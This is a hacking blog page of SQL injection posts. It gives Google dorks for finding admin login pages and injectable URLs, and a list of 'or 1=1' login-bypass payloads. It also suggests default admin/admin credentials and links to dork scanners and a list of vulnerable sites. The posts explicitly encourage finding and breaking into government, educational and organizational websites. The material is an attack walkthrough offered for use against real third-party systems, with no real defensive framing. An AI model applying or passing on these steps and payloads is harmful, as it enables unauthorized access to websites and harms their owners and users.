Icon YouTube
Showing posts with label SQLi. Show all posts
Showing posts with label SQLi. Show all posts

[SQLi] Hack Admin Account Website












We're gonna hack into an admin account, using SQL injections.

How does it work: A SQL injection injects a code into the MYSQL database which gets passed the site security login.

Dorks:

    inurl:adminlogin.aspx

    inurl:admin/index.php


    inurl:administrator.php


    inurl:administrator.asp


    inurl:login.asp


    inurl:login.aspx


    inurl:login.php


    inurl:admin/index.php



    inurl:adminlogin.aspx

LET'S START !


Step 1: Go to Google, typ in ''admin/login.asp site:net'' and search (You can also use the option, to search only in your country).


Step 2: As you already can see in the first picture, we are looking for websites that look like this: example ''website.com/admin/login.asp''.


Step 3: Go to the website admin login page, type in:
username: 1'or'1'='1
password: 1'or'1'='1


NOW .. IT'S DONE ! .. WE ARE NOW LOG AS ADMINISTRATOR !

Other InjecTion Queries Code:

    ‘ or 1=1 –

    1'or’1'=’1


    admin’–


    ” or 0=0 –


    or 0=0 –


    ‘ or 0=0 #


    ” or 0=0 #


    or 0=0 #


    ‘ or ‘x’='x


    ” or “x”=”x


    ‘) or (‘x’='x


    ‘ or 1=1–


    ” or 1=1–


    or 1=1–


    ‘ or a=a–


    ” or “a”=”a


    ‘) or (‘a’='a


    “) or (“a”=”a


    hi” or “a”=”a


    hi” or 1=1 –


    hi’ or 1=1 –


    hi’ or ‘a’='a



    hi’) or (‘a’='a

================================================

================================================

some other google dorks i am going to provide you which i personally use.

intitle:"Index of /admin/css/" site:.com
intitle:"index of /gallery" site:.com
intitle:"index of /admin/photos" site:.com
intitle:"index of /images" site:.com
intitle:"index of /css" site:.com
intitle:"index of /js" site:.com
intitle:"index of admin/css" site:.com
intitle:"index of admin/js" site:.com
intitle:"index of admin/gallery" site:.com
intitle:"index of admin/uploads" site:.com


now go to admin area and put
user: admin
pass: admin

NOW .. IT'S DONE ! .. WE ARE NOW LOG AS ADMINISTRATOR !



Read More

SQLi Hacking Introduction










Hello Everyone, i am going to teach you all about sql injection.

I have found many script-kiddies using SQLi techniques pre-defined some where in the web, and call them selves a hacker, or by using some tools like Havij, Mole, DarkMySQli, etc. But By Using those tools or by learning the SQLi commands are they really a L33t?

I strongly Oppose to Script - Kiddies, and this Blog is not for them, who doesnt want to know the basics of SQL, and jump to SQLi, and harrase some web-admins out there, by abusing them and speaking about poor security. Before abusing them and speaking shit about security, ask yourself how much do you know about security.

Well, enough said for the Script-Kiddies, lets get into the real world, as how one can be an automated tool like any SQL Tool, Ofcourse the people who developed the tools are genious and has done a hell lot of research to test security or pen-testing.

Lets use the knowledge wisely, and lets learn and discuss to Protect..Remember, You might get awarded if you use the knowledge wisely, and if you break security with criminal purpose. You might be busted.

Well, Thats all for the Introduction of The Blog.


So a lot about SQL, what exactly it is?

Its a Structured Query Language, It works on the basis of Query with a Database and accessing the contents, that helps to manipulate some desired output or display.


The previous answer leads to another question, What is a Database?

Database is a server or a place where data is stored. and data is any information related to any organization or business.


SQL helps us to extract the data from a Database. with SQL we can delete, add, append, sort, update, create, set permissions, insert and execute commands to a Database.


Now, how is a Databased Structured?

Well you cannot see the physical structure of a database, but logically, A Database consists of one or more Tables, and each table consists of one or more records.


Each Table in a Database is identified by a specific name, hence in a Database, no two tables can have the same name. And Records in a Table are made of rows and columns, each column is identified by a specific name, two different tables can have same column name, but in one table two columns cannot have same column name. Rows are where data resides, Thus making a full blown Table ready to be played with.


Hope this is informative, and yes I know some of you might be aware of this, but its for some noobs out there cribbing with SQL Tools and abusing web admins and speaking shit about security.


Read More

Chapter 1: Learning how to use Dorks


For BeginnersA method of finding websites vulnerable to SQL injection

is using what we call "dorks"
Dorks:They are like search criteria in which a search engine returns results related to your dork.
The process can be a little time consuming, but the outcome will be worth it after learning on how to use dorks


For this tutorial, the search engine we'll be using is Google
Credits to those who are mentioned in this tutorial
Now I'll show you how to use dorks with the help of a video too.



Step1: Finding your dorks i.e. the criteria you'll be using
Dork List compiled by kobez-

Code:
http://pastebin.com/0FqmasC7

Dork List by Sidesipe-

Code:
http://pastebin.com/x1rtqktj

Dork List by .Newsletter'

Code:
http://pastebin.com/APxqavu9

For this tutorial, we'll be using this dork "inurl:index.php?id="



Step2: Making use of your Dorks with the help of Google

Here's what you do:

  • Go to http://www.google.com
  • Type the dork in the search bar "inurl:index.php?id=" (with or without quotes)
  • Now you'll find a whole lot of links in your results

Here's how you can speed up your process:
In your mouse, there should be a scroll button right?
Hover your mouse on each link and hit the scroll button so that it'll open on a new tab. (Lets say you can open about 10 links at a time)



Step3: Vulnerability approach

Now to see whether the website is vulnerable to SQL injection or not, we simply put in a quote " ' " at the end of the url address.
So our site will look like this

Code:
http://www.site.com/index.php?id=123'

Do the same thing with the websites you opened on your tabs and see if there's any vulnerable website.

To determine if a website is vulnerable or not, it should return an error!

Note: If you can't find any vulnerability after doing some vulnerability search on this dork, you can always browse the dork list I've mentioned above and use any of them until you find any website vulnerable to SQL injection

Here's a video demonstration on how to use Dorks:








Extra Notes: Hunting for specific websites with specific domains
Ever want to hack a government website, or an organization website?
It's simple. All you have to do is improvise your dorks.
First off, here are some common domains
.gov = Government websites
.edu = Educational websites
.org = Organizational websites
.com = Commercial websites
.info = Informative websites
.net = Networking websites ( similar to .com)

Alright now you know some specific domains, lets add them to our dork shall we?
Follow this formula-like dork

Code:
"inurl:."domain"/"dorks" "
So you would normally understand it like this:
"inurl" = input URL
"domain" = your desired domain ex. .gov
"dorks" = your dork of your choice
Now for an example, lets say you want to hack government websites
Here's how it'll look
"inurl:.gov/index.php?id="
Once you search that up, you'll find a lot of government websites on your results

Changing "inurl" and using another one
Yes, you can change that too.
Google has a lot of functions you can come up with
Some of them are below where you can change "inurl" and make another dork

Code:
intitle:
intext:
define:
site:
info:
link:
Credits to Real Steel for bringing this up
Choose any of the and make another.
Example: "intext:.edu/gallery?id="
More information about those here: http://www.hackforums.net/showthread.php?tid=2033496








 



Some Dork Scanners you can use to help you speed up the process

Scanner by moveax
http://www.hackforums.net/showthread.php?tid=1985016

Scanner by p0iz0ner
http://www.hackforums.net/showthread.php...SQL+poizon

Scanner by kript0x

http://www.hackforums.net/showthread.php...rk+scanner

If you're lazy in using dorks to find vulnerable websites, then you can use some list right here:

Vulnerable List by Dyme:
http://pastebin.com/kVMYX0Eh

End of Chapter 1
Upcoming chapters:

Chapter2- Basic MySQL injection using "Login" Queries"
Please stayed tuned with my tutorials and hope you enjoyed this chapter 
Read More
© Cyber insect hacking world All rights reserved | Thanks for visiting